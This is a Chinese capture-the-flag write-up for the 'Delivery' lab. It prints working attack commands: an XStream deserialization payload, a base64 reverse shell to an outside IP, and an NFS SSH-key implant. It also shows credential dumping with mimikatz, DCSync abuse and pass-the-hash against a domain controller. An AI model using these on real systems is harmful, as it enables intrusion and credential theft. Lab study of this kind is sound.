春秋云境——Delivery WriteUp

WriteUp 9个月前 admin
304 0 0

外网XStream打点

拿到IP,对外网做信息搜集,外网的FTP允许匿名登录,FTP里有1.txt和pom.xml,1.txt是空的春秋云境——Delivery WriteUp用mget命令下载文件:


mget 1.txtmget pom.xml


春秋云境——Delivery WriteUppom.xml内容如下,XStream版本为1.4.16,有CC依赖,很明显是CVE-2021-29505春秋云境——Delivery WriteUp8080端口有个表单的功能,输入表单抓包,是用XML传输的,此处就是XML反序列化入口春秋云境——Delivery WriteUpCVE-2021-29505参照vulhub打就行

https://github.com/vulhub/vulhub/blob/master/xstream/CVE-2021-29505/README.zh-cn.md

起个Ysoserial的JRMP监听,利用链选择CC6链,因为题目用的CC3.2.1的依赖


java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JAAvZGVDL3RjcC8xMjEuNDAuMjUzLjE3Ny8zODg4OCAwPiYx}|{base64,-d}|{bash,-i}"


春秋云境——Delivery WriteUp发包打过去就完事,把IP改成自己VPS的IP即可


POST /just_sumbit_it HTTP/1.1Host: 39.98.127.59:8080Content-Length: 3110Accept: application/xml, text/xml, */*; q=0.01Content-Type: application/xml;charset=UTF-8
<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'> <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'> <parsedMessage>true</parsedMessage> <soapVersion>SOAP_11</soapVersion> <bodyParts/> <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> <attachmentsInitialized>false</attachmentsInitialized> <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'> <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'> <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'> <names> <string>aa</string> <string>aa</string> </names> <ctx> <environment/> <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'> <java.rmi.server.RemoteObject> <string>UnicastRef</string> <string>1.1.1.1</string> <int>1099</int> <long>0</long> <int>0</int> <long>0</long> <short>0</short> <boolean>false</boolean> </java.rmi.server.RemoteObject> </registry> <host>1.1.1.1</host> <port>1099</port> </ctx> </candidates> </aliases> </nullIter> </sm> </message> </value> </javax.naming.ldap.Rdn_-RdnEntry> </java.util.PriorityQueue></java.util.PriorityQueue>


直接就是root权限春秋云境——Delivery WriteUpflag01如下春秋云境——Delivery WriteUp

内网信息搜集

内网信息搜集结果如下:

172.22.13.14、外网XStream服务

172.22.13.28、MySQL(root 123456)、OA办公平台、XIAORANGWIN-HAUWOLAO

172.22.13.6、XIAORANGWIN-DC

172.22.13.57、CentOS

内网机器NFS提权

在拿到外网的机器后,根据题目提示:为了实现跨机器和跨操作系统的文件共享,管理员在内网部署了NFS…… 先更新一下apt源,然后安装nfs依赖

apt-get updateapt-get install nfs-common -y

在机器上创建一个/temp/目录,把172.22.13.57的nfs挂载到/temp目录下

mkdir /temp/mount -t nfs 172.22.13.57:/ /temp -o nolock

春秋云境——Delivery WriteUp这里172.22.13.57的nfs只配置了/home/目录,里面有个joyce用户文件夹春秋云境——Delivery WriteUp此时还无法执行命令,由于我们可以往joyce用户目录下写文件,因此写入ssh私钥,下面就是一套写ssh私钥的丝滑小连招,由于要用ssh登录,所以还是先用Python获取到交互式shell再ssh连接

ssh-keygen -t rsa -b 4096cp /root/.ssh/id_rsa.pub /temp/home/joyce/.ssh/cat id_rsa.pub >> /temp/home/joyce/.ssh/authorized_keyspython3 -c 'import pty;pty.spawn("/bin/bash")'ssh -i /root/.ssh/id_rsa [email protected]

春秋云境——Delivery WriteUpflag在根目录下,joyce用户没权限读春秋云境——Delivery WriteUp根目录下还有个/pAss.txt文件,里面放着用户名和密码(这个用户能登录172.22.13.28这台机器)

xiaorang.lab/zhangwenQT62f3gBhK1



春秋云境——Delivery WriteUp一开始试了pkexec提权,失败了,然后尝试suid提权,发现ftp命令有suid权限


find / -perm -u=s -type f 2>/dev/null


春秋云境——Delivery WriteUp在外网打点的那台机器上用python启动一个ftp服务,注意要设置用户名和密码,还有,一定要设置-w参数,如果不设置,后面put不过来(如果是用python脚本启动,设置perm='elradfmwM'参数允许客户端FTP写入文件)


python3 -m pyftpdlib -p 2223 -u test -P test -w &


春秋云境——Delivery WriteUp在CentOS机器里把/flag02.txt传给外网机器的FTP服务


ftp 172.22.13.14 2223testtestput /flag02.txt


春秋云境——Delivery WriteUp传过去直接读就行春秋云境——Delivery WriteUp

MySQL弱口令写文件getshell

172.22.13.28这台机器的MySQL有弱口令,直接登录就行,发现secure_file_priv为空,可以写文件春秋云境——Delivery WriteUp并且172.22.13.28这台机器也是有Web服务的,所以直接into outfile写文件即可,这里的文件路径是猜的,默认phpstudy就安装在这个路径(预期解应该是在172.22.13.57机器中拿到ZHANGWEN这个用户的账号密码RDP到172.22.13.28这台机器,然后知道Web网站路径写文件)春秋云境——Delivery WriteUp用蚁剑连接就行春秋云境——Delivery WriteUp直接是system权限春秋云境——Delivery WriteUp拿到flag03春秋云境——Delivery WriteUp

WriteDACL权限滥用拿下域

添加一下远程用户方便操作:


net user benbi pass@123 /addnet localgroup administrators benbi /add


春秋云境——Delivery WriteUp上mimikatz抓密码:


.mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt


拿到chenglei域用户的密码

chenglei、Xt61f3LBhg1

春秋云境——Delivery WriteUp上BloodHound分析域内环境:


SharpHound.exe -c all


春秋云境——Delivery WriteUp分析发现,CHENGLEI用户在ACL_ADMIN组里,该组有WriteDACL权限春秋云境——Delivery WriteUp添加CHENGLEI用户对域对象xiaorang.lab的DCSync权限(注意这里需要以CHENGLEI用户身份执行,该用户的账号密码在前面抓出来了)


Import-Module .powerview.ps1Add-DomainObjectAcl -TargetIdentity 'DC=xiaorang,DC=lab' -PrincipalIdentity chenglei -Rights DCSync -Verbose


春秋云境——Delivery WriteUpsecretsdump导出域内用户哈希


proxychains python3 secretsdump.py xiaorang.lab/chenglei:[email protected] -just-dc


春秋云境——Delivery WriteUpPTH拿下域控


proxychains python3 wmiexec.py -hashes 00000000000000000000000000000000:6341235defdaed66fb7b682665752c9a xiaorang.lab/[email protected]


春秋云境——Delivery WriteUp拿flag春秋云境——Delivery WriteUp

原文始发于微信公众号(Dest0g3 Team):春秋云境——Delivery WriteUp

版权声明:admin 发表于 2023年7月19日 上午9:52。
转载请注明:春秋云境——Delivery WriteUp | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...